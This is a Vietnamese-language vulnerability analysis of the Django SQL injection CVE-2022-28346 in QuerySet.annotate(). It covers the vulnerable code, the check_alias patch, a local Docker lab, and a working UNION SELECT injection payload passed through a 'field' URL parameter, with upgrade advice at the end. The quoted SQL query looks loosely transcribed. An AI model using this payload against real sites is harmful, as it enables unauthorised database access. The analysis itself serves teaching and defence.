Share
## https://sploitus.com/exploit?id=F80E42B7-B5D0-5191-8C3C-5424FA3076A8
![image.png](https://images.viblo.asia/1cbff5bf-f990-4bdb-ab74-1e8734fd86a2.png)
# Giới thiệu
Ngày 12 tháng 4 năm 2022 đội ngũ phát triển Django đã công bố lỗ hổng SQL injection trong các phiên bản Django sau:
* 2.2.x trước 2.2.28
* 3.2.x trước 3.2.13
* 4.0.x trước 4.0.4

Cụ thể thì lỗ hổng tồn tại trong các chức năng 
* **QuerySet.annotate()**
* **QuerySet.aggregate()**

Lỗ hổng được đánh giá là nghiêm trọng, ảnh hưởng đến tính bí mật, toàn vẹn và sẵn dùng với mức điểm 9.8 trên thang 10.

| CVE - ID | CVE - 2022 - 28346 |
| -------- | -------- |
| **Severity**     | 9.8 - CRITICAL |
| **CWE - ID**     | CWE - 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) |
| **Vulnerability Publication Date** | 12/4/2022|
| **Affected Software** | Django version 2.2.x < 2.2.28, 3.2.x < 3.2.13 and 4.0.x < 4.0.4|

# Phân tích lỗ hổng

## QuerySet là gì?

Như đã đề cập ở trên lỗ hổng này tồn tại trong các chức năng  **QuerySet.annotate()** và **QuerySet.aggregate()** của Django version `2.2.x < 2.2.28, 3.2.x < 3.2.13 and 4.0.x < 4.0.4`

Trước khi đi vào phân tích chi tiết tại sao các chức năng `QuerySet.annotate/QuerySet.aggregate` lại tồn tại lỗ hổng ta phải tìm hiểu **QuerySet là gì?**

> A QuerySet is a collection of data from a database. 
> 
> A QuerySet is built up as a list of objects. 
> 
> QuerySets makes it easier to get the data you actually need, by allowing you to filter and order the data.

Hiểu đơn giản trong Django **QuerySet** dùng để truy vấn dữ liệu trong cơ sở dữ liệu, người dùng có thể sắp xếp, lọc mà không làm ảnh hưởng đến dữ liệu ban đầu.

Ví dụ:

Chúng ta có 1 bảng ***Members*** như sau:

```python
class Members(models.Model):
    firstname = models.TextField()
    lastname = models.TextField()
    def __str__(self):
        return self.lastname
```

| id | firstname | lastname |
| -------- | -------- | -------- |
| 1     | Pham    | 	Long     |
| 2     | Quyen    | 	Son     |
| 3     | Tran    | 	Linh     |
| 4     | Dinh    | 	Duong     |
| 5     | Do    | 	Dat     |

<br>

Với câu lệnh 
```python
mydata = Members.objects.all()
```

Ta đã có một QuerySet được chứa bên trong mydata như sau.

```python
<QuerySet [
  <Members: Long>,
  <Members: Son>,
  <Members: Linh>,
  <Members: Duong>,
  <Members: Dat>
]>
```

## QuerySet.annotate(self, *args, **kwargs)

### Giới thiệu QuerySet.annotate()

**annotate()** là một chức năng có thể sử dụng với QuerySet để tạo 1 trường dữ liệu dẫn xuất bổ sung cho từng đối tượng khi được trích xuất.

Ví dụ: giả sử chúng ta có các model **Article** và **Category**  trong một ứng dụng blog:

```python
# blog/models.py
from django.db import models


class Category(models.Model):
    title = models.Charfield(max_length=255)


class Article(models.Model):
    title = models.CharField(max_length=255)
    text = models.CharField(max_length=255)
    category = models.ForeignKey(Category)
    published = models.BooleanField(default=False)
    read_min = models.IntegerField()
```

Nếu bạn muốn đếm số lượng bài báo trong mỗi danh mục. Tuy nhiên, bạn chỉ muốn đếm các đối tượng phù hợp với một điều kiện nào đó, ví dụ chỉ đếm các bài báo đã được xuất bản.

Để làm điều này, bạn có thể sử dụng `Q` objects và `Count` trong mệnh đề `annotation()` như sau:

```python
from django.db.models import Q
from django.db.models import Count

from blog.models import Category


def get_categories():
    filters = Q(published=True)
    return Category.objects.all().annotate(Count('article', filters))


categories = get_categories()
print(categories[0].article__count)
```

Mỗi category item được trả lại trong QuerySet bây giờ sẽ có thêm một thuộc tính với tên mặc định là `article__count`. 

Bạn cũng có thể thay đổi tên mặc định của thuộc tính này bằng cách chuyền `Count` vào chú thích dưới dạng đối số từ khóa với tên mong muốn của bạn. 

Ví dụ: bạn có thể viết `annotate(num_articles=Count('article', filters))`nếu bạn muốn thuộc tính được thêm có tên là  `num_articles`.

### Phân tích lỗ hổng trong QuerySet.annotate()

Khi sử dụng chức năng `QuerySet.annotate()`ứng dụng sẽ gọi trực tiếp đến hàm `annotate(self, *args, **kwargs)` được định nghĩa trong file `django/db/models/query.py`

```python
    def annotate(self, *args, **kwargs):
        """
        Return a query set in which the returned objects have been annotated
        with extra data or aggregations.
        """
        self._not_support_combined_queries('annotate')
        return self._annotate(args, kwargs, select=True)
```

Ta có thể thấy hàm `annotate` thực hiện thêm 1 trường dữ liệu dẫn xuất với tên được truyền vào mà không hề kiểm tra tên trường truyền vào hợp lệ hay không. Điều này dẫn tới chúng ta có thể inject câu lệnh SQL vào nếu kiểm soát được tên trường dẫn xuất truyền vào. 

```python 
    def add_annotation(self, annotation, alias, is_summary=False, select=True):
        """Add a single annotation expression to the Query."""
        annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,
                                                   summarize=is_summary)
        if select:
            self.append_annotation_mask([alias])
        else:
            self.set_annotation_mask(set(self.annotation_select).difference({alias}))
        self.annotations[alias] = annotation
```

Ở phiên bản 4.0.4 đội ngũ phát triển đã cập nhật thêm hàm `check_alias` để kiểm tra tên của trường dẫn xuất có hợp lệ hay không.

```python 
    def add_annotation(self, annotation, alias, is_summary=False, select=True):
        """Add a single annotation expression to the Query."""
        self.check_alias(alias)
        annotation = annotation.resolve_expression(
            self, allow_joins=True, reuse=None, summarize=is_summary
        )
        if select:
            self.append_annotation_mask([alias])
        else:
            self.set_annotation_mask(set(self.annotation_select).difference({alias}))
        self.annotations[alias] = annotation
```

Nội dung hàm `check_alias` như sau:

```python 
FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"\]\[;\s]|--|/\*|\*/")
    def check_alias(self, alias):
        if FORBIDDEN_ALIAS_PATTERN.search(alias):
            raise ValueError(
                "Column aliases cannot contain whitespace characters, quotation marks, "
                "semicolons, or SQL comments."
            )
```

#  Demo

**Môi trường: Docker & Docker-compose**

## **Setup**

1. `git clone https://github.com/pthlong9991/CVE-2022-28346.git`
2. Run `./setup.sh` for initial setup
3. `sudo docker-compose up --build`
4. Truy nhập vào docker image để khởi tạo cơ sở dữ liệu bằng câu lệnh

    `sudo docker exec -it cve-2022-28346_web /bin/bash`
6. Và chạy các lệnh sau:

    `python manage.py makemigrations cve202228346`
    
    `python manage.py migrate`
7. Truy cập http://localhost:8000/load_example_data để load sample data
8. Đường dẫn chứa vulnerable param (***field***): http://localhost:8000/users/?field=Num%20articles
    
Kết quả sau kkhi cài đặt xong môi trường

![image.png](https://images.viblo.asia/c2296a05-5e6a-4639-809a-4f947488b683.png)



## **Khai thác**

Để có thể khai thác được lỗ hổng này chúng ta phải biết được tên bảng của câu truy vấn hiện tại + kiểm soát được tham số dùng để đặt tên trường dẫn xuất được tạo ra từ chức năng `QuerySet.annotate()`

Ở đây môi trường config `debug=true` + để cho người dùng có thể control được biến `field` là tên của trường dẫn xuất được tạo ra.

Khi ta thêm dấu nháy kép `"` vào sau giá trị của biến `field` thì ta nhận được kết quả sau

![image.png](https://images.viblo.asia/b76756a1-de15-49b4-b582-2506f094a8fd.png)

Ta có thể dễ dàng thấy được tên của bảng trong truy vấn hiện tại là `"cve202228346_category"` và `"cve202228346_article"`

Câu lệnh truy vấn hiện tại là:

```SQL
SELECT "cve202228346_category"."id", "cve202228346_category"."title", COUNT("cve202228346_article"."id") AS "Num articles" FROM "cve202228346_category"."id" LEFT OUTER JOIN "cve202228346_article" ON {"cve202228346_category"."id" = "cve202228346_article"."category_id"} GROUP BY "cve202228346_category"."id"
```

Việc của chúng ta phải làm inject vào biến `field` sao cho hoàn thành câu lệnh hiện tại sau đó inject câu lệnh khai thác. Với trường hợp này ta có thể sử dụng UNION SELECT để khai thác.

Payload sẽ sau:

```URL
http://localhost:8000/catrgory/?field=Num articles" FROM "cve202228346_category"."id" LEFT OUTER JOIN "cve202228346_article" ON {"cve202228346_category"."id" = "cve202228346_article"."category_id"} GROUP BY "cve202228346_category"."id" UNION SELECT null,version(),null --
```

Kết quả khai thác:

![image.png](https://images.viblo.asia/bd75f2b5-e3fb-4450-85df-da3f3e7b2669.png)

## Phòng tránh

Cách phòng tránh hiệu quả nhất là cập nhật lên phiên bản django mới nhất.
# Reference

https://able.bio/dfernsby/django-queryset-annotations-with-conditions--19d4cb4b
https://docs.djangoproject.com/en/4.0/ref/models/querysets/#django.db.models.query.QuerySet.annotate